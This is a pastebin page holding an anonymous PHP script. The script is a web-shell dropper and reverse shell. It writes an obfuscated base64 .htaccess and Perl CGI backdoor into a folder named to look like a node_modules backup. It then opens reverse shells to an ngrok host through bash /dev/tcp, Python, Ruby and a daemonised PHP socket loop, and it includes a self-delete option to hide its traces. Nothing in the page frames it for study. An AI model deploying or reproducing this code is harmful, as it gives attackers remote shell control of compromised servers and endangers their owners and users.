Untitled

From Anonymous, 1 Day ago, written in Plain Text, viewed 1 times. This paste will join the choir invisible in 5 Days.
URL http://minetest.wjake.com/stikked/view/3964900b Embed
Download Paste or View Raw
  1. <?php
  2. set_time_limit (0);
  3. error_reporting(0);
  4.  
  5.  
  6. if (isset($_GET['delete'])) {
  7.     $currentFile = __FILE__;
  8.     $backupFolder = dirname($currentFile) . DIRECTORY_SEPARATOR . 'node_modules.BACKUP';
  9.  
  10.     // Recursively delete directory using PHP 4-compatible functions
  11.     if (!function_exists('deleteDirectory')) {
  12.         function deleteDirectory($dir) {
  13.             if (!is_dir($dir)) {
  14.                 return false;
  15.             }
  16.             if ($handle = opendir($dir)) {
  17.                 while (false !== ($file = readdir($handle))) {
  18.                     if ($file != '.' && $file != '..') {
  19.                         $path = $dir . DIRECTORY_SEPARATOR . $file;
  20.                         if (is_dir($path)) {
  21.                             deleteDirectory($path);
  22.                         } else {
  23.                             unlink($path);
  24.                         }
  25.                     }
  26.                 }
  27.                 closedir($handle);
  28.             }
  29.             return rmdir($dir);
  30.         }
  31.     }
  32.  
  33.     if (is_dir($backupFolder)) {
  34.         deleteDirectory($backupFolder);
  35.         echo "Deleted folder: node_modules.BACKUP<br>";
  36.     } else {
  37.         echo "Folder not found: node_modules.BACKUP<br>";
  38.     }
  39.  
  40.     if (file_exists($currentFile)) {
  41.         unlink($currentFile);
  42.         echo "Deleted file: " . basename($currentFile) . "<br>";
  43.     }
  44.  
  45.     exit;
  46. }
  47.  
  48.  
  49. mkdir('node_modules.BACKUP');
  50. file_put_contents('node_modules.BACKUP/.htaccess',base64_decode('T3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ0KDQpBZGRUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtY2dpIC5jaW4NCg0KQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5jaW4NCkFkZEhhbmRsZXIgY2dpLXNjcmlwdCAuY2lu'));
  51. file_put_contents('node_modules.BACKUP/cmd.cin',base64_decode('IyEvdXNyL2Jpbi9wZXJsDQp1c2UgQ0dJOw0KcHJpbnQgQ0dJOjpoZWFkZXIoIC10eXBlID0+ICd0ZXh0L2h0bWwnICk7DQpteSAkaG9zdCA9IENHSTo6cGFyYW0oJ2hvc3QnKTsNCm15ICRwb3J0ID0gQ0dJOjpwYXJhbSgncG9ydCcpOw0KdXNlIFNvY2tldDsNCiRpYWRkcj1pbmV0X2F0b24oJGhvc3QpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwYWRkcj1zb2NrYWRkcl9pbigkcG9ydCwgJGlhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQokcHJvdG89Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFNPQ0tFVCwgUEZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KY29ubmVjdChTT0NLRVQsICRwYWRkcikgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0Kb3BlbihTVERJTiwgIj4mU09DS0VUIik7DQpvcGVuKFNURE9VVCwgIj4mU09DS0VUIik7DQpvcGVuKFNUREVSUiwgIj4mU09DS0VUIik7DQpzeXN0ZW0oJy9iaW4vc2ggLWknKTsNCmNsb3NlKFNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw'));
  52. chmod('node_modules.BACKUP/cmd.cin', 0755);
  53. echo 'Perl CGI Script Uploaded';
  54. $VERSION = "1.0";
  55. //ip untuk forward, disini saya menggunakan serveo untuk backconnect
  56. $ip = '8.tcp.ngrok.io';
  57. $port = '22800';
  58. $chunk_size = 1400;
  59. $write_a = null;
  60. $error_a = null;
  61. $shell = 'uname -a; w; id; /bin/sh -i';
  62. $daemon = 0;
  63. $debug = 0;
  64.  
  65. function cmd($in, $re = false)
  66. {
  67.     $in = $in . ' 2>&1';
  68.     if (function_exists('exec')) {
  69.         @exec($in, $out);
  70.         $out = @join("\n", $out);
  71.                 return $out;
  72.     }
  73.     elseif (function_exists('passthru')) {
  74.         ob_start();
  75.         @passthru($in);
  76.         $out = ob_get_clean();
  77.                 return $out;
  78.     }
  79.     elseif (function_exists('system')) {
  80.         ob_start();
  81.         @system($in);
  82.         $out = ob_get_clean();
  83.                 return $out;
  84.     }
  85.     elseif (function_exists('shell_exec')) {
  86.         $out = shell_exec($in);
  87.                 return $out;
  88.     }
  89.     elseif (function_exists('popen') && function_exists('pclose')) {
  90.         if (is_resource($f = @popen($in, 'r'))) {
  91.             $out = '';
  92.             while (!@feof($f))
  93.                 $out .= fread($f, 1024);
  94.                 return $out;
  95.             pclose($f);
  96.         }
  97.     }
  98.     else {
  99.         return false;
  100.     }
  101.     return $out;
  102. }
  103.  
  104. echo(cmd("bash -i >& /dev/tcp/$ip/$port 0>&1"));
  105. echo(cmd("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(($ip,$port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"));
  106. echo(cmd("ruby -rsocket -e'f=TCPSocket.open($ip,$port).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'"));
  107.  
  108. if (function_exists('pcntl_fork')) {
  109.         $pid = pcntl_fork();
  110.        
  111.         if ($pid == -1) {
  112.                 printit("ERROR: Can't fork");
  113.                 exit(1);
  114.         }
  115.        
  116.         if ($pid) {
  117.                 exit(0);  
  118.         }
  119.  
  120.         if (posix_setsid() == -1) {
  121.                 printit("Error: Can't setsid()");
  122.                 exit(1);
  123.         }
  124.  
  125.         $daemon = 1;
  126. } else {
  127.         printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
  128. }
  129.  
  130. chdir("/");
  131.  
  132. umask(0);
  133.  
  134. $sock = fsockopen($ip, $port, $errno, $errstr, 30);
  135. if (!$sock) {
  136.         printit("$errstr ($errno)");
  137.         exit(1);
  138. }
  139.  
  140. $descriptorspec = array(
  141.    0 => array("pipe", "r"),  
  142.    1 => array("pipe", "w"),  
  143.    2 => array("pipe", "w")  
  144. );
  145.  
  146. $process = proc_open($shell, $descriptorspec, $pipes);
  147.  
  148. if (!is_resource($process)) {
  149.         printit("ERROR: Can't spawn shell");
  150.         exit(1);
  151. }
  152.  
  153. stream_set_blocking($pipes[0], 0);
  154. stream_set_blocking($pipes[1], 0);
  155. stream_set_blocking($pipes[2], 0);
  156. stream_set_blocking($sock, 0);
  157.  
  158. printit("Successfully opened reverse shell to $ip:$port");
  159.  
  160. while (1) {
  161.         if (feof($sock)) {
  162.                 printit("ERROR: Shell connection terminated");
  163.                 break;
  164.         }
  165.  
  166.         if (feof($pipes[1])) {
  167.                 printit("ERROR: Shell process terminated");
  168.                 break;
  169.         }
  170.  
  171.         $read_a = array($sock, $pipes[1], $pipes[2]);
  172.         $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
  173.  
  174.         if (in_array($sock, $read_a)) {
  175.                 if ($debug) printit("SOCK READ");
  176.                 $input = fread($sock, $chunk_size);
  177.                 if ($debug) printit("SOCK: $input");
  178.                 fwrite($pipes[0], $input);
  179.         }
  180.  
  181.         if (in_array($pipes[1], $read_a)) {
  182.                 if ($debug) printit("STDOUT READ");
  183.                 $input = fread($pipes[1], $chunk_size);
  184.                 if ($debug) printit("STDOUT: $input");
  185.                 fwrite($sock, $input);
  186.         }
  187.  
  188.         if (in_array($pipes[2], $read_a)) {
  189.                 if ($debug) printit("STDERR READ");
  190.                 $input = fread($pipes[2], $chunk_size);
  191.                 if ($debug) printit("STDERR: $input");
  192.                 fwrite($sock, $input);
  193.         }
  194. }
  195.  
  196. fclose($sock);
  197. fclose($pipes[0]);
  198. fclose($pipes[1]);
  199. fclose($pipes[2]);
  200. proc_close($process);
  201.  
  202. function printit ($string) {
  203.         if (!$daemon) {
  204.                 print "$string\n";
  205.         }
  206. }
  207.  
  208. ?>

Reply to "Untitled"

Here you can reply to the paste above